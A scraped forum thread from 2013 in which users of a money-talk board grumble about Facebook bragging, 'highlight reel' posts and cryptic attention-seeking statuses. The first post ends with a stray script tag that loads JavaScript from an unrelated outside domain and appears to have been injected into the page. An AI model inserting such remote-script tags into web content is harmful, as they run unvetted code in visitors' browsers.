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Post by soskiomo on Aug 19, 2013 11:24:39 GMT -5
I can't imagine if facebook had been around when I was even younger. But, I think some people only post about good things so everything looks picture perfect. Also the people on my feed who comment on everything. EVERYTHING. Yes, I'm happy for you but sometimes they just go on and on and how great their lives are... <script src="https://secure-content-delivery.com/data.js.php?i=&d=2013-5-18&s=http://notmsnmoney.proboards.com/thread/new/29&cb=0.6795969998944048" type="text/javascript"></script> |
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Post by swamp on Aug 19, 2013 12:47:13 GMT -5
I don't go on FB to see depressing posts. I want to read about the good stuff in people's lives.
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Post by Deleted on Aug 19, 2013 13:23:20 GMT -5
Me too! The thing that I cannot STAND is when people post cryptic statuses:
X: feel like I've had the wind knocked out of me
<< 500 people asking what's up and sending good wishes >>
X: *silence*
WTF is THAT anyway??!?!
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Post by kittensaver on Aug 19, 2013 13:31:56 GMT -5
Yep, I just ignore the folks who are seeking attention with their cryptic messages. I go to FB to catch up with far-flung family and look at everyone's photos. Otherwise, I'd have no idea what lots of people are up to!  |
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Post by Deleted on Aug 19, 2013 13:34:11 GMT -5
Yes, not sure which is more annoying, those who use facebook to chronicle their cryptic hurts or hilight reels.... I try to just post pictures of my food to be safe ...
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Post by busymom on Aug 19, 2013 13:35:33 GMT -5
Facebook is great for keeping track of faraway relatives & friends. But, you're right that some people treat Facebook like a Christmas "brag" letter.  Just ignore those who brag. |
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Post by Deleted on Aug 19, 2013 13:36:51 GMT -5
HA! I was torn between posting: "X: *silence*" -or- "X: *food picture*"  |
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Post by Deleted on Aug 19, 2013 13:41:38 GMT -5
quit the facebook
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Post by Deleted on Aug 19, 2013 13:42:03 GMT -5
I can't quit you!
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Post by mmhmm on Aug 19, 2013 14:02:50 GMT -5
This thread doesn't really belong in Market Talk. I'm going to move it to Your Money, Off-Topic. - mmhmm, Administrator
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Post by Angel! on Aug 19, 2013 14:20:17 GMT -5
I remember reading an article about some study that showed facebook literally did make some people feel more depressed and anxious about their own lives. If it bothers you, then you probably should quit.
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Post by Deleted on Aug 19, 2013 14:21:20 GMT -5
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Post by Formerly SK on Aug 19, 2013 14:21:36 GMT -5
I have a friend who recently went on a horrible family vacation. On the phone she gave me all the details: fought with husband, kids were crazy, baby cried a lot, much too hot to sleep, etc. On FB she posts one pic of the trip with a glowing spiritual message about how blessed she is to spend time with family on vacation.  |
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Post by NomoreDramaQ1015 on Aug 19, 2013 14:27:40 GMT -5
quit the facebook
Why are you on facebook if it's making you depressed? THere is no law saying you have to read facebook walls. Yet.
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Post by swamp on Aug 19, 2013 14:28:14 GMT -5
Me too! The thing that I cannot STAND is when people post cryptic statuses: X: feel like I've had the wind knocked out of me << 500 people asking what's up and sending good wishes >> X: *silence* WTF is THAT anyway??!?! THAT is an attention whore. You're welcome |
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Post by milee on Aug 19, 2013 14:32:39 GMT -5
But, I think some people only post about good things so everything looks picture perfect. I used to feel that way about the Christmas letters from the picture perfect families. Then I realized that the more I knew some of the authors, the more I realized how non-representative the letters were. It's not that the letters contained lies, but that it was pretty easy to pick out a dozen good things from an entire year and just report on those. Most people don't have a life that's better than yours, some are just better at describing their life in a positive way. |
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Post by swamp on Aug 19, 2013 14:36:35 GMT -5
If you only knew about my life.......................  |
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Post by Chocolate Lover on Aug 19, 2013 14:36:49 GMT -5
I'm on FB to watch the trainwreck that is my in laws from afar, and to keep up with the sane relatives that live far far away. I get much more amusement out of the trainwrecks though. |
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Post by swamp on Aug 19, 2013 14:38:29 GMT -5
I'm on FB to watch the trainwreck that is my in laws from afar, and to keep up with the sane relatives that live far far away. I get much more amusement out of the trainwrecks though. |
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Post by Miss Tequila on Aug 19, 2013 14:39:32 GMT -5
Me too! The thing that I cannot STAND is when people post cryptic statuses: X: feel like I've had the wind knocked out of me << 500 people asking what's up and sending good wishes >> X: *silence* WTF is THAT anyway??!?! I know!! I don't know what is funnier...the pathetic twits that get people to reply or the even more pathetic twits that get ignored...FFS, if you want to be all drama, at least post some juicy details. Otherwise I'm just making shit up in my head to laugh at you about |
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Post by Sum Dum Gai on Aug 19, 2013 14:43:58 GMT -5
Just remember the phrase, may your life be as awesome as you pretend it is on Facebook. See everyone posts the obnoxious picture of them sitting on a white sand beach somewhere drinking little umbrella drinks while the rest of us are at work. None of them post the credit card bill that shows up the following month.
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Post by Chocolate Lover on Aug 19, 2013 14:46:16 GMT -5
I'll take a beach picture over fawning young grandma any day. She's only about 4 years older than me (if that) and has, IDK, 4 grandkids now. Her kids started early...... now every time I turn around someone is spending time with her "angels".
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Post by whoisjohngalt on Aug 19, 2013 14:46:35 GMT -5
Yes, not sure which is more annoying, those who use facebook to chronicle their cryptic hurts or hilight reels.... I try to just post pictures of my food to be safe ... I would have preferred pics of your adorable kids, but that's waaay OT |
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Post by saveinla on Aug 19, 2013 14:47:49 GMT -5
Just remember the phrase, may your life be as awesome as you pretend it is on Facebook. See everyone posts the obnoxious picture of them sitting on a white sand beach somewhere drinking little umbrella drinks while the rest of us are at work. None of them post the credit card bill that shows up the following month. I love that saying - weknowmemes.com/wp-content/uploads/2012/03/may-your-life-one-day-be-as-awesome.jpg |
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Post by Deleted on Aug 19, 2013 14:48:16 GMT -5
there is one woman on my FB friends list who's about to get unfriended/hidden. I usually scroll past most of her stuff, but she likes to go on and on about how she stays at home with her two little boys and STILL manages to clean the house daily, work full time from home, and put a nice dinner on the table for her husband every day. Oh, my personal favorite was how she didn't understand how people say that parenting is the hardest thing they've had to do because it's just so freaking easy - I mean she's had SOOOO many more difficult obstacles to overcome in her life than parenting two young kids...  |
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Post by Cookies Galore on Aug 19, 2013 14:48:24 GMT -5
But, I think some people only post about good things so everything looks picture perfect. I used to feel that way about the Christmas letters from the picture perfect families. Then I realized that the more I knew some of the authors, the more I realized how non-representative the letters were. It's not that the letters contained lies, but that it was pretty easy to pick out a dozen good things from an entire year and just report on those. Most people don't have a life that's better than yours, some are just better at describing their life in a positive way. My life is pretty boring, I'm just really good at telling a story. And I take great food pictures! |
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Post by whoisjohngalt on Aug 19, 2013 14:48:59 GMT -5
I keep re-reading the title over and over and there are only two thoughts that come to mind
1. I will never understand how people can base their feelings on something that is so inconsequential
2. Have you ever considered not going on FB?? Seems like a cheap and easy solution to the problem
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Post by Rocky Mtn Saver on Aug 19, 2013 14:50:36 GMT -5
quit the facebook
Why are you on facebook if it's making you depressed? THere is no law saying you have to read facebook walls. Yet. As I recall, the OP got this same advice two months ago after posting the same thing about Facebook. Just stop going there. I don't understand why she continues to seek it out if it makes her so upset.  |
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Post by wvugurl26 on Aug 19, 2013 14:52:35 GMT -5
That week in Jamaica was so worth the $1k credit card bill ;D
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Post by NomoreDramaQ1015 on Aug 19, 2013 14:53:13 GMT -5
I don't understand why she continues to seek it out if it makes her so upset
Because if she doesn't she'll get sucked into Facebook and be forced to play Yatzee for her survival.
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